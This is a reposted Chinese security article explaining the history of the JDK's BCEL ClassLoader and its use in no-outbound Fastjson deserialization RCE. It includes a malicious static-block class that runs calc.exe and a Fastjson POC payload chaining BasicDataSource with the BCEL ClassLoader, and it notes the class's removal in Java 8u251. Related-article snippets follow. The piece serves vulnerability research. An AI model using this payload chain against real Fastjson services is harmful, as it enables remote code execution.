FastJson不出网rce

news2024/11/16 19:29:40

BCEL ClassLoader去哪了

0x01 BCEL从哪里来

首先,BCEL究竟是什么?它为什么会出现在JDK中?

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

据我(不严谨)的考证,JDK会将BCEL放到自己的代码中,主要原因是为了支撑Java XML相关的功能。准确的来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

JAXP全名是Java API for XML Processing,他是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。

XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

我们尝试用本地的Java(注意需要用Java7或6,使用8将会出现异常)来编译一下hello.xsl:

java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile hello.xsl

 

可见,从hello.xsl生成了hello.class,反编译这个class即可看到源代码。

不知道大家看到这个代码里的AbstractTranslet会不会有点眼熟?我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,它在defineClass中需要的字节码所对应的基类,就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

其实Java里很多东西是有因果的,TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现,前文说了,XSLT在使用时会先编译成Java字节码,这也就是为什么TemplatesImpl会使用defineClass的原因。

关于XSLT这块的内容比较多,不是本文的重点,我就不细说了。那么这部分内容和BCEL有什么关系呢?

你应该也能猜到了,因为需要“编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正是一个处理字节码的库,所以Apache Xalan是依赖BCEL的。

0x02 BCEL ClassLoader如何使用

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。具体算法在这里:

  private static class JavaWriter extends FilterWriter {
    public JavaWriter(Writer out) {
      super(out);
    }

    public void write(int b) throws IOException {
      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
        out.write(b);
      } else {
        out.write(ESCAPE_CHAR); // Escape character

        // Special escape
        if(b >= 0 && b < FREE_CHARS) {
          out.write(CHAR_MAP[b]);
        } else { // Normal escape
          char[] tmp = Integer.toHexString(b).toCharArray();

          if(tmp.length == 1) {
            out.write('0');
            out.write(tmp[0]);
          } else {
            out.write(tmp[0]);
            out.write(tmp[1]);
          }
        }
      }
    }

    public void write(char[] cbuf, int off, int len) throws IOException {
      for(int i=0; i < len; i++)
        write(cbuf[off + i]);
    }

    public void write(String str, int off, int len) throws IOException {
      write(str.toCharArray(), off, len);
    }
  }

基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

我们可以编写一个恶意类Evil:

package org.vulhub.fastjson;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:

 

 

0x03 BCEL在Fastjson漏洞中的利用

前文介绍了BCEL的来历和用法,那么在实际攻防对抗中,我们是如何认识BCEL的呢?

这就得追溯到Fastjson的反序列化漏洞了。当年Fastjson反序列化漏洞出现后,网络上广泛流传的利用链有下面三个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。

BasicDataSource的利用原理可以参考这篇文章Java动态类加载,当FastJson遇到内网 – KINGX,本文也仅做一个简单的描述。

BasicDataSourcetoString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法:

    protected ConnectionFactory createConnectionFactory() throws SQLException {
        // Load the JDBC driver class
        Driver driverToUse = this.driver;

        if (driverToUse == null) {
            Class<?> driverFromCCL = null;
            if (driverClassName != null) {
                try {
                    try {
                        if (driverClassLoader == null) {
                            driverFromCCL = Class.forName(driverClassName);
                        } else {
                            driverFromCCL = Class.forName(
                                    driverClassName, true, driverClassLoader);
                        }
                        ...

createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader)。有读过我的《Java安全漫谈》第一篇文章的同学应该对Class.forName还有印象,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

因为driverClassLoaderdriverClassName都可以通过fastjson控制,所以只要找到一个可以利用的恶意类即可。

BCEL ClassLoader闪亮登场。第二章中我们已经演示过com.sun.org.apache.bcel.internal.util.ClassLoader是如何加载字节码并执行命令的,这里只是将前文的loadClass变成了Class.forName

综上,我们可以构造一个Fastjson的POC:

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

触发反序列化命令执行:

0x04 BCEL去哪了

同样的代码,如果在Java 8u261下执行,则会出现一个异常:

查看原因,发现是com.sun.org.apache.bcel.internal.util.ClassLoader这个类不在了,查看源码确实没有了。

翻一下Java的更新日志,可以发现在8u251的时候,曾有过一个BCEL相关的更新:Java™ SE Development Kit 8, Update 251 Bug Fixes

 

点issue可以发现其创建于2016年8月,但是在2020年才被正式修改。他的描述是:

BCEL 6.0 has been released at Apache Commons on 7/16/, refer to the common page: Apache Commons BCEL™ – Home and release notes: https://archive.apache.org/dist/commons/bcel/RELEASE-NOTES.txt

We should evaluate and upgrade to the latest release from the current version 5.2 in the JDK.

其实就是把BCEL的依赖升级到6.0了。难道是BCEL 6.0之后这个ClassLoader被删除了吗?

我登录Apache Commons BCEL官网,下载了多个6.x的代码,发现ClassLoader都是存在的:

 

 

这就十分奇怪了。

不过,我在BCEL的Issue中找到了这么一个:[BCEL-110] Problem with JAXB if the bcel classloader is used - ASF JIRA

其修复方法就是简单粗暴地删除了src/main/java/org/apache/commons/bcel6/util/ClassLoader.java

 但是,为什么在官网下载的源码包中又存在这个类呢?我继而又翻到了两个有趣的提交:

 

 

在2015年的时候,曾有过这么一个issue:[BCEL-222] Major release of BCEL requires updating package name and maven coordinate - ASF JIRA,提出修改bcel命名空间为bcel6。但是在2016年6月,又将所有的修改全部改了回去。

这时注意了,仔细查看之前的ClassLoader.java被删除的那条记录你会发现,删除的时候是在2015年8月,且目录中的文件夹名字是bcel6。也就是说,刚好是被改后的这段时间,然而因为2016年那次的revert ,这个改动也被撤回了……

所以你在官网里下载的BCEL中,ClassLoader是存在的。

那么为什么Java内的ClassLoader没有了呢?我觉得只有两个可能性:

  • Java在升级BCEL的时候注意到了前面那个issue,并参考它的修复方式重新将ClassLoader删除了
  • Java将BCEL升级到6.0时用的是一个删除了ClassLoader版本的BCEL(但无法解释为何命名空间不是bcel6)

所以,很遗憾,在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。所以,之后测试fastjson反序列化,记得这里有个坑。

参考链接:

  • https://docs.oracle.com/javase/tutorial/jaxp/index.html
  • Java动态类加载,当FastJson遇到内网 – KINGX
  • Java™ SE Development Kit 8, Update 251 Bug Fixes

 原文出处:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/134159.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

05 RS485

什么是RS485&#xff1f; RS485 是一种通用的通信标准&#xff0c;广泛用于数据采集和控制应用中。 它的主要优点之一是它允许将多个 RS485 设备放在同一条总线上&#xff0c;这使得多个节点可以相互连接。 RS-485&#xff08;目前称为EIA/TIA-485&#xff09;是通信物理层的…

面试官:React怎么做性能优化

前言 最近一直在学习关于React方面的知识&#xff0c;并有幸正好得到一个机会将其用在了实际的项目中。所以我打算以博客的形式&#xff0c;将我在学习和开发&#xff08;React&#xff09;过程中遇到的问题记录下来。 这两天遇到了关于组件不必要的重复渲染问题&#xff0c;…

2022 年,我身上发生的几件大事

一晃2022互联网寒冬年就要结束了&#xff0c;在今年我的身上发生了好几件人生大事。因为这些事情对我的心态、思绪等产生了不同层次、不同方面的影响&#xff0c;所以很有必要做一次年终复盘。那么&#xff0c;接下来让我用拙略的写作手法&#xff0c;带大家走进我那特别的2022…

别等iPhone14了,苹果iPhone15变化很大

在去年的手机市场当中&#xff0c;苹果可以说是最大的赢家。因为去年iPhone13发布的时间段&#xff0c;恰好是高端旗舰的空档期&#xff0c;小米、OV在高端市场的销量表现一般&#xff0c;华为又没有能力发布新机&#xff0c;三星的Note系列在去年也暂停发布。所以不夸张的说&a…

SpringBoot整合ShardingJdbc实现数据库水平分表实战

(1)添加Maven依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/P…

因果推断4--Causal ML(个人笔记)

目录 1 安装教程及官方文档 1.1 pip安装 1.2 API文档 1.3 代码仓库 2 Uplift模型与主要方法介绍 2.1 发放代金券 2.2 多treatment 2.3 实验方法 3 causalml.inference.tree module 3.1 UpliftTreeClassifier 3.2 UpliftRandomForestClassifier 3.3 CausalRandomFor…

sec7-可派生和非抽象类型

创建非抽象可派生类型比创建抽象类型更常见。本节介绍如何创建非抽象可派生类型对象。派生类型的例子是string的对象。它是TStr。它的子对象是一个数字字符串对象。数字字符串是表示数字的字符串。例如“0”、“-100”、“123.45”。子对象(数字字符串)将在下一节中解释。 我想…

前端框架搭建(九)搭建页面布局框架【vite】

## 1.创建目录BasicLayout——全局布局 components——布局组件 GlobalContent&#xff1a;全局内容GlobalHeader&#xff1a;全局头部页面 2.处理GlobalHeader 创建HeaderMenu——头部菜单 声明相关类型 在typings目录下创建system.d.ts declare namespace App {/** 全局…

Canadian Coding Competition(CCC) 2021 Junior 题解

目录 Problem J1: Boiling Water Problem J2: Silent Auction Problem J3: Secret Instructions Problem J4: Arranging Books Problem J5/S2: Modern Art Problem J1: Boiling Water Problem Description At sea level, atmospheric pressure is 100 kPa and water begi…

自动挂载USB和TF卡

转自链接https://zhuanlan.zhihu.com/p/443745437 ①创建用于挂载U盘的目录 mkdir /mnt/usb –p②在/etc/udev/rules.d目录下添加用于检测U盘插入规则&#xff08;add&#xff09;&#xff0c;终端下执行以下命令创建第一个U盘插入规则。 vim /etc/udev/rules.d/11-add-usb.r…

【ROS】—— ROS通信机制——服务通信(三)

文章目录前言1. 服务通信理论模型2. 服务通信自定义srv2.1 定义srv文件2.2 编辑配置文件2.3 编译3. 服务通信自定义srv调用(C)3.1 vscode配置3.2 服务端3.3 客户端3.4 配置 CMakeLists.txt4. 服务通信自定义srv调用(python)4.1 vscode配置4.2 服务端4.3 客户端4.4 配置 CMakeLi…

将Android进行到底之内容提供者(ContentProvider)

文章目录前言一、ContentProvider是什么&#xff1f;二、使用示例1.为应用创建内容提供者2.使用内容提供者2.1 内容URI2.2 Uri参数解析2.2 使用内容URI操作数据3.ContentProvider妙用4 内容URI对应的MIME类型5.ContentProvider重点注意6 演示demo源码总结前言 随着现在的应用越…

java通过JDBC连接mysql8.0数据库,并对数据库进行操作

目录 一、JDBC简介 二、添加依赖 三、JDBC操作数据库的步骤 四、JDBC操作数据库——增删改查 (一)新增数据 (二)删除数据 (三)修改数据 (四)查询数据 (五)多表连接查询 一、JDBC简介 Java数据库连接&#xff0c;&#xff08;Java Database Connectivity&#xff0c;简…

C进阶:字符串相关函数及其模拟实现

目录 &#x1f431;&#x1f638;一.strlen &#x1f54a;️1.功能 &#x1f43f;️2.模拟实现 &#x1f42c;&#x1f40b;二.strcpy &#x1f432;1.功能 &#x1f916;2.注意事项 &#x1f47b;3.模拟实现 &#x1f431;&#x1f42f;三.strcat &#x1f984;1.功能…

i.MX8MP平台开发分享(IOMUX篇)- Linux注册PAD

专栏目录&#xff1a;专栏目录传送门 平台内核i.MX8MP5.15.71文章目录1. pinfunc.h2.pinctrl-imx8mp.c3.PAD信息注册这一篇开始我们深入Linux中的pinctl框架。1. pinfunc.h pinfunc.h中定义了所有的引脚&#xff0c;命名方式是MX8MP_IOMUXC___&#xff0c;例如下面的MX8MP_IO…

【JDBC】----------ServletContext和过滤器

分享第二十四篇励志语句 幸福是什么&#xff1f;幸福不一定是腰缠万贯、高官显禄、呼风唤雨。平凡人自有平凡人的幸福&#xff0c;只要你懂得怎样生活&#xff0c;只要你不放弃对美好生活的追求&#xff0c;你就不会被幸福抛弃。 一&#xff1a;ServletContext&#xff08;重要…

js对象篇

面向对象 对象 如果对象的属性键名不符合JS标识符命名规范&#xff0c;则这个键名必须用引号包裹 访问属性有2种方法&#xff0c;有点语法和方括号填写法&#xff0c;特别地&#xff0c;如果属性名不符合JS命名规范或者使用变量存储属性名&#xff0c;则必须使用方括号访问 属…

【王道操作系统】2.3.6 进程同步与互斥经典问题(生产者消费者问题、吸烟者问题、读者写者问题、哲学家进餐问题)

进程同步与互斥经典问题(生产者消费者问题、吸烟者问题、读者写者问题、哲学家进餐问题) 文章目录进程同步与互斥经典问题(生产者消费者问题、吸烟者问题、读者写者问题、哲学家进餐问题)1.生产者-消费者问题1.1 问题描述1.2 问题分析1.3 如何实现1.4 实现互斥的P操作一定在实现…

深化全面To C战略魏牌发布与用户共创大六座SUV蓝山

对魏牌而言&#xff0c;与用户共创不是吸引眼球的营销噱头&#xff0c;而是“直面用户需求&#xff0c;真实倾听用户意见”的有效途径。 2022年12月30日&#xff0c;第二十届广州国际汽车展览会&#xff08;以下简称“广州车展”&#xff09;正式启幕。魏牌以“品位蓝山 有咖有…

神经网络必备基础知识:卷积、池化、全连接(通道数问题、kernel与filter的概念)

文章目录卷积操作实际操作filter与kernel1x1的卷积层可视化的例子池化全连接卷积操作 这个不难理解。我们知道图像在计算机中是由一个个的像素组成的&#xff0c;可以用矩阵表示。 假设一个5x5的输入图像&#xff0c;我们定义一个3x3的矩阵&#xff08;其中的数值是随机生成的…